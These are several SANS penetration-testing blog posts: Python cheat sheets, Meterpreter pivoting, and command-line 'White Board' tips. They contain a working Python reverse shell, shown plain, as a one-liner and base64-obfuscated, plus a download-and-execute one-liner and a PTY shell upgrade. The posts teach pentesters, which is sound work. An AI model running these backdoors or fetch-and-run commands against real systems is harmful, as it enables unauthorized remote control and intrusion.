SANS Cheat Sheet: Python 3

 

by: Mark Baggett

Python 2 – The end of the world as we know it.

It will happen. In the year 2020 an event will occur that will alter the course of information security forever. What is this apocalyptic event? The end of life for Python 2. Is it that big of a deal? Meh. I’m just being dramatic. As of 2020 they will stop releasing updates and patches to Python 2. But Python 2 isn’t going anywhere. If history has taught us lessons about what happens to unsupported software then we will continue to see it running critical infrastructure and hospital equipment for many years to come. Those programs that run in Python 2 interpreters today will continue to run in Python 2 interpreters well after 2020. Sadly today some organizations are still running old Python 2.5 interpreters despite the fact that it is now 13 years old and has serious security issues. It’s pretty safe to say that we will continue to see Python 2 for the foreseeable future.

That said, I think it is a little short sighted to continue to develop new tools and automation in Python 2 today. Today you should definitely be developing new code that works in Python 3. Any new tools you purchase and plan to use for more than a year should run in Python 3. You should also evaluate the risk associated with running that old Python 2 interpreter that may have security vulnerabilities once it is no longer supported vs updating your code to work with a supported interpreter. As you look to the future you should do that with Python 3 in your sights.

SANS SEC573: Automating information Security with Python course and the associated GPYC certification rides the Python2/Python3 fence along with the rest of the Industry. The course teaches you to build new tools for automation of common defensive, forensics and offensive task in Python 3. Developing new tools in Python 3 will set you up for success moving forward. We also covers what you need to know to convert your existing Python 2 code to Python 3. If you need to continue to use Python 2 we will teach you how to write code that is forward compatible to Python 3 so you are ready to switch when you are eventually forced to. In my opinion it isn’t really a choice between Python 2 and Python 3. The answer is both. We will supporting both versions for a while. In celebration of that fact here are the SEC573 Python2 and Python3 cheat sheets available for you to download and print! Enjoy!

 

DOWNLOAD – Python 2.7 Cheat Sheet

Python2_7

DOWNLOAD – Python 3 Cheat Sheet

Python3

 

Pen Test Cheat Sheets:

 

SANS Pen Test Training:

 

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

SANS Poster – White Board of Awesome Command Line Kung Fu (PDF Download)

 

by: SANS Pen Test Team

Imagine you are sitting at your desk and come across a great command line tip that will assist you in your career as an information security professional, so you jot the tip down on a note, post-it, or scrap sheet of paper and tape it to your white board… now imagine you do this all the time until your white board is completely full of useful tips you’ve found and can use daily.

That is the concept behind the SANS Pen Test Poster: White Board of Awesome Command Line Kung-Fu created by the SANS Pen Test Instructors. Each tip was submitted by the Pen Test Instructors and curated by SANS Fellow, Ed Skoudis.

We are giving you a complete white board full of tips you can use to become a better InfoSec professional.

Now it is available for you to download.

Download PDF – PENT-PSTR-WHITEBOARD-V3-0118_web.pdf

PENT-PSTR-WHITEBOARD-V3-0118_web_small

PENT-PSTR-WHITEBOARD-V3-0118_web_small_back

 

Additional Educational Posts based on the Poster:

Python:

“White Board” – Python – Python Debugger
“White Board” – Python – Python Reverse Shell!
“White Board” – Python – Pythonic Web Server
“White Board” – Python – Raw Shell -> Terminal
“White Board” – Python – Pythonic Web Client

Bash:

“White Board” – Bash – Useful IPv6 Pivot
“White Board” – Bash – Encrypted Exfil Channel!
“White Board” – Bash – What’s My Public IP Address?
“White Board” – Bash – Bash’s Built-In Netcat Client
“White Board” – Bash – Check Service Every Second
“White Board” – Bash – Make Output Easier to Read
“White Board” – Bash – Website Cloner
“White Board” – Bash – Sudo… Make Me a Sandwich
“White Board” – Bash – Find Juicy Stuff in File System

CMD.exe:

“White Board” – CMD.exe – C:\> netsh interface
“White Board” – CMD.exe – C:\> wmic process

PowerShell:

“White Board” – PowerShell – Add a Firewall Rule
“White Board” – PowerShell – Built-in Port Scanner!
“White Board” – PowerShell – Get Firewall Rules
“White Board” – PowerShell – One-Line Web Client
“White Board” – PowerShell – Ping Sweeper!
“White Board” – PowerShell – Find Juicy Stuff in the File System

 

Desktop Wallpapers based on Poster:

Bash, PowerShell, Python…

Python_1280x1024(example)

 

SANS Pen Test Training:

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

Got Meterpreter? PivotPowPY!

 

by Cliff Janzen

My how time flies. It seems like only yesterday I wrote the post Got Meterpreter? Pivot! (/blog/2012/04/26/got-meterpreter-pivot), but it has been four and a half years. In our industry, the only thing constant is change and Mr. Ed Skoudis gave me the opportunity to revisit this topic to see what has changed. Thank you Ed.

So, once again, we will start with the same scenario:

We have a Metasploit Meterpreter shell with Admin/System privileges on an in-scope target Windows box. We will call this system X and it is in the DMZ. Do the root dance, pillage the heck out of it and get ready to pivot!

There are many ways to leverage the exploited system to discover, scan, and pivot to other devices in the target network. This article will discuss some ways to leverage the Metasploit Framework (http://www.metasploit.com/) (hereafter referred to as Metasploit) to accomplish various kinds of pivots, although there will be some non-Metasploit tips scattered throughout as well. Where a technique from the previous post is still valid, it will be referenced. Our test system, X, uses a dual homed network, one network connected to the 172.16.33.x DMZ network and one connected to the 192.168.100.x internal network. The same techniques described below can be used for VLANs or physically separate networks that have paths to route to different networks.

Let’s go.

Sniffer

Watching the network interactions between devices is still one of my favorite ways to learn who, what, when and why an exploited system communicates with others on the network.

Meterpreter still has the sniffer module discussed in the last post available. In fact it has been updated with x64 support since then. However, rather than rehash sniffer, we will use the Packet Recorder sniffer extension written by Carlos Perez.

Packet Recorder uses sniffer, but makes it even easier. Start by executing the command run packetrecorder –li in the Meterpreter session to list out the available network interfaces, then execute the command run packetrecorder –i 3. To end the capture, carefully press CTRL-C then open up the capture and look for interesting info. The example below shows the entire process.

pivotPowPy_01

Not using Metasploit? For some reason when writing the post in 2012, I didn’t mention the built in netsh capability so let me correct that oversight now. The netsh trace command can be used. There are all sorts of filters that can be used but a simple method is just to use the IPv4Address flag as shown in the screenshot below.

This capture is saved in ETL format and can be viewed using Microsoft Message Analyzer. You can also convert the ETL capture to PCAP format with a couple of PowerShell commands. See the Internet Storm Center post in the references for more details.

pivotPowPy_02

 Route and Auxiliary scan

There are more than 250 post-exploitation modules currently available in Metasploit. A lot of them are used to gather info from the exploited system and a few of these are very useful in a pivoting situation.

A couple of good ones, again compliments of Carlos Perez, which can be used to determine what other systems are on the network are
post/windows/gather/arpscanner and post/multi/gather/pingsweep.

pivotPowPy_03

pivotPowPy_04

As illustrated above, these scans identified a few systems we can potentially pivot to.

Routing and Proxy

Routing is even easier then it was in 2012. From within your Meterpreter session simply type run autoroute –s subnet, then ctrl-z to go back to the Metasploit console and use the new route with some of the auxiliary TCP based scan modules and if we find something juicy, even exploit through the autoroute. The example below shows using our exploited system as route to identify listening ports from the systems discovered during the ping_sweep,

pivotPowPy_05

PORTFWD, SOCKS proxy and SSH Tunnelling illustrated in the previous post still works well. If you haven’t used them yet, you should. Re-read the post and setup a test lab to ensure you see it in action. You won’t regret it.

One new development since that post is the addition of PowerShell version of SSH. Personally, I have only done limited tunnelling testing with the Microsoft backed version https://github.com/PowerShell/Win32-OpenSSH. If you have had some successes or challenges using PowerShell implementations of SSH for pivoting I would love to see them in the comments below.

No MSFMAP

Unfortunately, it appears that the module MSFMap by SecureState is no longer working in the current versions of Metasploit. All is not lost, though. There have been some very handy additions to Meterpreter that we can use in its place.

PowerShell

There are many ways to get a PowerShell session with Metasploit. One of the easiest is to use an existing session to create a PowerShell session. Background the existing session and do the following run the module exploit/windows/local/payload_inject with the Windows/powershell_reverse_tcp payload as shown below.

pivotPowPy_06

From here you can run (almost) any PowerShell module. In the example below, a PowerShell script, Invoke-TSPingSweep, which was modified a bit to make it more display friendly, was uploaded via Meterpreter, imported and then executed.

pivotPowPy_07

Note that some scripts will behave differently when run in the injected session. In particular watch out for scripts that use out-host and some that do not handle network connection timeouts will return big ugly errors like this one below, but will typically continue.

pivotPowPy_08

Python

Another new addition is the ability to run Python directly in a Meterpreter session!!

This ability is still being developed and currently, there are some technical issues that limit some of the usefulness, for instance you can’t have the Python script run in the background (https://github.com/rapid7/metasploit-framework/issues/6369),. Still, this is an great addition and one that certainly will be useful when pivoting.

pivotPowPy_09

 

Imagine being able to easily use your favorite Python code from Black Hat Python, Violent Python or the SANS Security 573 class. Wonderful!

Not using Metasploit? As briefly shown above, PowerShell is a very powerful tool for the penetration tester and can be especially handy for post exploitation activities. All of the automated penetration testing programs provide PowerShell modules and a lot of very good work is being done on utilizing PowerShell for both defense and offense.

PowerShell remoting may not always available, but if it is, it can be a quick way to pivot around a network. From an existing PowerShell session run the command New-PSSession –ComputerName abc.fg.hi then to interact with the shell run the command Enter-PSSession X

pivotPowPy_10

What’s next?

I don’t see any slowdown in the opportunities to pivot through the network anytime in the near future. Do you have a favorite I haven’t mentioned? If so, please share it in the comments.

Thank you for your time

Cliff

https://twitter.com/cjisme2

References:
https://isc.sans.edu/forums/diary/No+Wireshark+No+TCPDump+No+Problem/19409
https://gallery.technet.microsoft.com/scriptcenter/Invoke-TSPingSweep-b71f1b9b
https://technet.microsoft.com/en-us/magazine/ff700227.aspx
https://blog.netspi.com/powershell-remoting-cheatsheet/
http://www.darkoperator.com
https://vimeo.com/140723133

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

SANS Penetration Testing: Command Line Kung-Fu – Desktop Wallpapers

PenTest_WhiteBoard_Back_Preview

SANS Pen Test: Command Line Kung-Fu

Desktop Wallpapers

So… we made our new SANS Pen Test Poster: “White Board of Awesome Command Line Kung-Fu” and posted it on Twitter for some initial feedback and  someone asked us if we could turn it into a desktop wallpaper and we thought, “that’s a really cool idea!”

But, we created it and everything on it was too small and although it looked cool, it wasn’t functional. So, then we thought, what if we broke it up into individual pieces. “Eureka!” we exclaimed as we contacted our graphic designer with a new request.

Now… “BEHOLD!”

Introducing the first of many SANS Pen Test Curriculum Desktop Wallpapers!

(Click on the image for the full-sized version)

BASH_1280x1024BASH_1280x1024
BASH_1920x1080BASH_1920x1080
BASH_5120x2880BASH_5120x2880
Powershell_1280x1024Powershell_1280x1024
Powershell_1920x1080Powershell_1920x1080
Powershell_5120x2880Powershell_5120x2880
Python_1280x1024Python_1280x1024
Python_1920x1080Python_1920x1080
Python_5120x2880Python_5120x2880

 

Comment below if you have ideas for future SANS Penetration Testing Curriculum – Desktop Wallpapers we should make.

Thanks!

 

Pen Test Cheat Sheets:

SANS Pen Test Training:

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

Pen Test Poster: “White Board”- Python – Raw Shell Terminal

Board Elements_clean_Raw Shell -- Terminal

A long time ago, on networks in your community, we had “computer terminals” on our desks that talked to our computers.   They may have looked like monitors with keyboard attached to them, but there was more to them than that.  They had input buffers that processed what was typed on them.  Function keys like the print screen key button and control key sequences could be processed locally in the terminal before sending anything to the computers.   The computer could send the terminal special “Escape codes” like “ESC [ 1 2 h” (http://vt100.net/docs/vt102-ug/chapter5.html#S5.5.2.13) to tell the terminal not to display the keys being pressed so passwords were not displayed on the terminal.  Today, the terminals are gone and the functions that they provided are now performed by the “TTY” and “PTY” on your Linux/Unix systems.

Today programs can use the OS’s TTY/PTY to perform line editing (backspace, up arrow, down arrow, etc) and session management (Control C to kill a program, Control Z background etc) .   Programs, such as Python’s readline module, can put the TTY’s line discipline in “raw” mode and perform those TTY functions themselves.   Programs that use raw mode like this will probably perform just fine when you connect to them over a raw socket or netcat.    But other programs such as BASH that expect to communicate with a TTY can have some undesirable results when run through a raw network connection or netcat where no TTY is present.

You have probably experience this before.   You hit CONTROL-C in a netcat windows intending to kill a remote process and instead it kills your netcat session.    You run a command such "su -" and when the OS sends the echo off escape code I mentioned , your netcat session breaks.   Fear not!  If you have a remote Linux OS then this simple Python script will launch bash inside of a PTY and make most of these problems go away.

python -c 'import pty; pty.spawn("/bin/bash")'

 

You can run this command with out any problems inside of an existing bash program that is NOT in a TTY and it will launch as second process that is in a TTY.   Unfortunately, this scripts will only work on your Linux targets.   Windows doesn’t nativley support PTYs so the target must be a Linux computer.  For a seamless experience both the attack box and the target should be a Linux box.   If both sides of the connection have a TTY (ie running Linux) you can hit CONTROL-C to kill a remote program without losing your connection.  To kill your connection you have to type "exit".   That returns you back to your ‘non-TTY’ shell where pressing CONTROL-C will kill the connection.

In a pinch you could use Windows as the attack box.  Although it isn’t a completely seamless experience, this wonderful little Python command still fixes issues with commands like "sudo" and "su".  The command "top" even works pretty well although you have to press "q" and "enter" to exit rather than just pressing "q" to quit.   Pressing "enter" to transmit data is required for many things if the attack box is Windows.   Some commands such as "vi" still don’t work.  Unfortunately, pressing CONTROL-C will still kill your Windows netcat client.   Even worse, when CONTROL-C kills your netcat client it will leave the remote shell running in an remotely unrecoverable state.   Just as we discussed for Linux you must type 'exit' to leave your shell and return to the ‘non-TTY’ shell and then hit CONTROL-C to properly exit the shell.

All hope is not lost if either the Attack or Target system is Windows.  There are some simple work around for most basic operations that are covered extensively in SANS SEC560: Network Penetration Testing and Ethical Hacking.   If you would like more information about this and other Python modules please check out SEC573: Automating Information Security with Python.

 

Mark Baggett

 

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

Pen Test Poster: “White Board” – Python – Pythonic Web Client

Board Elements_clean_Pythonic Web Client

Downloading files from the command line is routine tasks for most security professionals.   For defenders, the Windows Schedule, SIM management interfaces, Web interfaces for appliances often allow you to schedule a single command for execution.   The offensive folks who exploit a command injection vulnerability often need a simple way to download and execute code in a single line.   Or perhaps your just need a simple, cross platform, line of code to add to your existing management script.   In all of these situations, having a single cross platform command you can run to download files form the internet is essential.  If there is a Python interpreter on your system you can easily download files with the following one line command.

python -c 'import urllib2;print urllib2.urlllopen("http://<url to download>").read()' | tee /tmp/<local filename to write>

 

If you want to execute the code after the download you just need to add a semicolon and execute the command.

python -c 'import urllib2;print urllib2.urlllopen("http://<url to download>").read()' | tee /tmp/<local filename to write> ; /tmp/<local filename to execute>

 

The script shown is compatible with Python 2 and won’t work on systems that have Python 3 as the default Python interpreter.   Today the majority of systems, in compliance with PEP 394, still use Python 2 as the default interpreter, but it won’t be too much longer before Python 3 is the default.   If you are unsure which version of Python your system is using you can run the following command to check.

$ python --version
Python 2.7.12

 

For those running Python 3, here is a script you can use to that is compatible with your system.

python3 -c 'import urllib.request; urllib.request.urlretrieve("http://<url to download","/tmp/<local filename>")'

 

Mark Baggett

 

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

Pen Test Poster: “White Board” – Python – Python Reverse Shell!

Board Elements_clean_Python Reverse Shell!

In SEC573: Automating Information Security with Python, we teach defenders to build tools that root out the signs of compromise in your sea of logs and network traffic.  We teach forensicators to build tools to find that crucial piece of evidence with no other tools exist.   We teach penetration testers how to build a few different types of backdoors that provide you with a stable foothold for you to begin your testing.  Let’s look at the practical application of one of the backdoors taught in that class.

During a penetration test I had come across a remote code execution vulnerability in a web application running on a Linux web server. After a few failed attempts to upload additional malware to the target I decided a netcat connection was desirable rather than the hoops I had to jump through to trigger the exploit.   I decided to use the systems built in Python interpreter to execute a Python script that would give me a more stable shell.  This shell will connect back to a netcat listener on my IP address on port 9000 ($nc -l -p 9000).  In the examples below I’ll transmit the shell to 127.0.0.1 to make it easy for you to test this on your own laptops.

First we start out with one of the simple python reverse tcp connect shell from SEC573.

import socket
import subprocess
s=socket.socket()
s.connect(("127.0.0.1",9000))
while True:
     proc = subprocess.Popen(s.recv(1024),  shell=True,stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
     s.send(proc.stdout.read() + proc.stderr.read())

 

This backdoor shell works just fine on my local system, but there is a significant problem.  If I want to use this with a remote command injection vulnerability I have to pass this entire script on one line as an argument to the Python interpreter.   The Python interpreter looks at the tabs and spaces in the code to find the “code blocks”.  The two lines that are indented beneath my while statement are not easily placed on one line unless you know a trick.  We can easily put all of the unintended lines on a single line by just putting semicolon between them.  Although Python doesn’t consider it good coding style you can put the entire while code block on a single line.  You must be very careful to have the same number of spaces after the colon and semicolon.  In this example there are two spaces after the colon and the semicolon in my while loop.  Now our program has been condensed into these two lines:

student@573:~/Documents/pythonclass$ python3

Python 3.5.2 (default, Jul  5 2016, 12:43:10)

[GCC 5.4.0 20160609] on linux

Type "help", "copyright", "credits" or "license" for more information.

>>> import socket;import subprocess ;s=socket.socket() ;s.connect(("127.0.0.1",9000))

>>> while 1:  p = subprocess.Popen(s.recv(1024),shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE);  s.send(p.stdout.read() + p.stderr.read())

 

If you keep the spacing straight and put those two lines into an interactive python session it works properly in either Python 2 or Python 3.   But, if you try to combine those two lines into a single line with another semicolon it will not work.  The Python interpreter generates a syntax error.  The good news is you can get around that with the “exec” method. Python’s exec method is similar to “eval()” in javascript and we can use it to interpret a script with “\n” (new lines) in it to separate the lines. Using this technique we get the following one line python shell that can be transmitted to the remote website for execution on any target that has a Python 2 or Python 3 interpreter.

student@573:~/$ python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect((‘127.0.0.1’,9000))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

 

Setup a netcat listener on your localhost listening on port 9000 and this works very nicely.  A technique to make sure your indentions and tabs are correct is to change all of those semicolons to '\n'.   Then, in a python interactive session, assign a variable such as 'shellcode' to contain your payload.  Then print(shellcode).  If the printed result looks just like the multi-line program we started out with then the exec() function should work properly.  With these techniques we can collapse all manner of scripts down to one line.  Knowing that, we might as well add a little code obfuscation to the mix.  Next we drop into interactive python and base64 encode our payload.

student@573:~/Documents/pythonclass$ python

Python 2.7.12 (default, Jul  1 2016, 15:12:24)

[GCC 5.4.0 20160609] on linux2

Type "help", "copyright", "credits" or "license" for more information.>>> import base64

>>> shellcode = "import socket, subprocess;s = socket.socket();s.connect(('127.0.0.1',9000))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())"

>>> base64.b64encode(shellcode)

'aW1wb3J0IHNvY2tldCwgc3VicHJvY2VzcztzID0gc29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgoJzEyNy4wLjAuMScsOTAwMCkpCndoaWxlIDE6ICBwcm9jID0gc3VicHJvY2Vzcy5Qb3BlbihzLnJlY3YoMTAyNCksIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUsIHN0ZGluPXN1YnByb2Nlc3MuUElQRSk7cy5zZW5kKHByb2Muc3Rkb3V0LnJlYWQoKStwcm9jLnN0ZGVyci5yZWFkKCkp'

 

To use our code we need to base64 decode it right before execute it.  Our one liner becomes this:

student@573:~/Documents/pythonclass$ python -c "import base64;exec(base64.b64decode('aW1wb3J0IHNvY2tldCwgc3VicHJvY2VzcztzID0gc29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgoJzEyNy4wLjAuMScsOTAwMCkpCndoaWxlIDE6ICBwcm9jID0gc3VicHJvY2Vzcy5Qb3BlbihzLnJlY3YoMTAyNCksIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUsIHN0ZGluPXN1YnByb2Nlc3MuUElQRSk7cy5zZW5kKHByb2Muc3Rkb3V0LnJlYWQoKStwcm9jLnN0ZGVyci5yZWFkKCkp'))"

 

This code sample is compatible with both Python 2 and Python 3.  For more tips like this check out SEC573 Automating Information Security with Python.

 

Mark Baggett

 

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

Pen Test Poster: “White Board” – Python – Pythonic Web Server

Board Elements_clean_Pythonic Web Server

This is such a great little tip.  I use this quite frequently during my day to day operations to transfer files back and forth between systems or to colleagues.  This wonderful little command will start a web server and make the contents of the folder that the command is launched from available for download.  I think once you’ve committed it to memory you will find it useful in many situations.

Here it is:

 

python -m SimpleHTTPServer <port number>

 

Here is an example that starts a web server listening on port 9000.

 

student@573:~$ python -m SimpleHTTPServer 9000

Serving HTTP on 0.0.0.0 port 9000 ...

 

Once you’ve run that command any computer that can reach your host via its IP address can access port 9000 with a web browser.    In this example, the command 'python -m "SimpleHTTPServer" 9000' was run from my home directory so the user can see my .bash_history and all of the other files that are in my home folder.

 

Pythonic_WebServer01

 

This functionality is very useful for allowing other computers to download files from your computer.   But this little web server can also be used to quickly setup a phishing website.  The script will act as a normal web server if it finds a file called index.html file in the directory where it is launched.   Here is a quick example.  I’ll use the echo command to create a file called "index.html" in my home directory and restart the server.

 

student@573:~$ echo "<HTML><BODY>IT WORKED</BODY></HTML>" > index.html

student@573:~$ python -m SimpleHTTPServer 9000

Serving HTTP on 0.0.0.0 port 9000 ...

 

Now I’ll refresh my web browser to see the newly created page.

 

Pythonic_WebServer02

 

In fact, it did work perfectly!  This command will work on Linux and Windows systems that are running Python 2 as their default interpreter.   Today, according to Python PEP 394 all Linux systems should have Python 2 as their default interpreter.   But, Python 2 is being retired in the year 2020 and you should be looking ahead at how to perform these actions on Python 3.   Here is a version of the command that will work with Python 3.

 

student@573:~$ python3 -m http.server 9000

Serving HTTP on 0.0.0.0 port 9000 ...

 

You may be wondering, “what exactly does this little command do”?   The Python help tells us the "-m" option will “run a module as a script”.    That is true, but it may be easier for you to think of it as a shortcut that asks Python to find the specified module within its PYTHONPATH and launch it.   If you know the location of that module you could in fact run it as a script and get the same result.

 

student@573:~$ python /usr/lib/python2.7/SimpleHTTPServer.py 8000

Serving HTTP on 0.0.0.0 port 8000 ...

 

OR on Python 3 you could do this.

 

student@573:~$ python3 /usr/lib/python3.5/http/server.py 8080

Serving HTTP on 0.0.0.0 port 8080 ...

 

For more tips like this and details on the inner workings of Python modules check out SEC573: Automating Information Security with Python.

 

Mark Baggett

 

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

Pen Test Poster: “White Board” – Python – Python Debugger

Board Elements_clean_Python Debugger

I realize that this may not apply to many of the super awesome reader of the SANS blogs, but when mere mortals develop tools the first few versions often have bugs in the code.  Python has a very nice debugger that is part of the standard installation called PDB.   PDB, aka The Python Debugger is a built in module that you can use to execute Python scripts one line at a time and inspect the state of the program as it runs.   Even our awesome readers who write error free code every time can benefit from using the Python debugger.   I’ll often use the debugger to look at other people’s code. Whether inspecting Python based malware or getting a better understanding of the techniques being used by Python based tools that other people have written, everyone can benefit from using PDB.

There are two ways that you will typically start the Python debugger.  One way is to edit the Python script and add the line “import pdb;pdb.set_trace()” in the script at the point you would like to debug the program.  Then start your program with the normal invocation.   When the new pdb line is reached during the programs execution, it will pause your program and launch the debugger.   Another way to start the debugger is to add the command line argument “-m pdb” when executing Python.   For example, executing “python -m pdb myscript.py” will start the Python Debugger and load myscript.py paused on the first line of the program.    When the debugger starts your prompt changes from the normal >>> interactive python prompt to (Pdb).

Python_Debugger_01

Here on line 1 (inside the blue box) we invoke the Python Debugger and tell it to start debugging a program called “debugme.py”.   The debugger starts and prints a “status line” on line 2 (inside the red box).  The status line tells us on which file, line and function the debugger stopped.  In this example you can see the full path to the script that the debugger is in.  You can also see it stopped on line 2 which appears in the parenthesis.  Then the name of the function that is currently executing is also displayed.  In this case we are not in a function yet so “<module>” is displayed.    The next line (in green) is the line of code that is about to execute.  In this case line 2 of the script contains “import random” and that is what will execute when the program starts.   On the next line is the (Pdb) prompt where we can enter PDB commands to interact with our code.   In the example above typing “L 5,10” listed lines 5 through 10 of the program.   I’ve included a table below of some of the most commonly used PDB command and what they do.   Here is one other example.   You could create a breakpoint which will cause the debugger to pause execution any time a specified line is reached by typing “Break” followed by the line number on which you want to pause.   For example, here we create a breakpoint on line 6.

Python_Debugger_02

Notice that when we list our program now a capital B is displayed on line 6 indicating that a breakpoint is present in our program.   Now when “c” (short for continue) is typed the program will execute until line 6 or the end of the program is reached.

PDB is a full featured debugger that will allow you to set break points, inspect variables and change them.   You can execute code one line at a time choosing to either “STEP INTO” function calls or “STEP OVER” them.   With full control of the execution of your code, it making the task of finding those pesky bugs or understanding the payload of that malware much easier.   The following chart contains just a few of the command you can enter at the (Pdb)prompt.
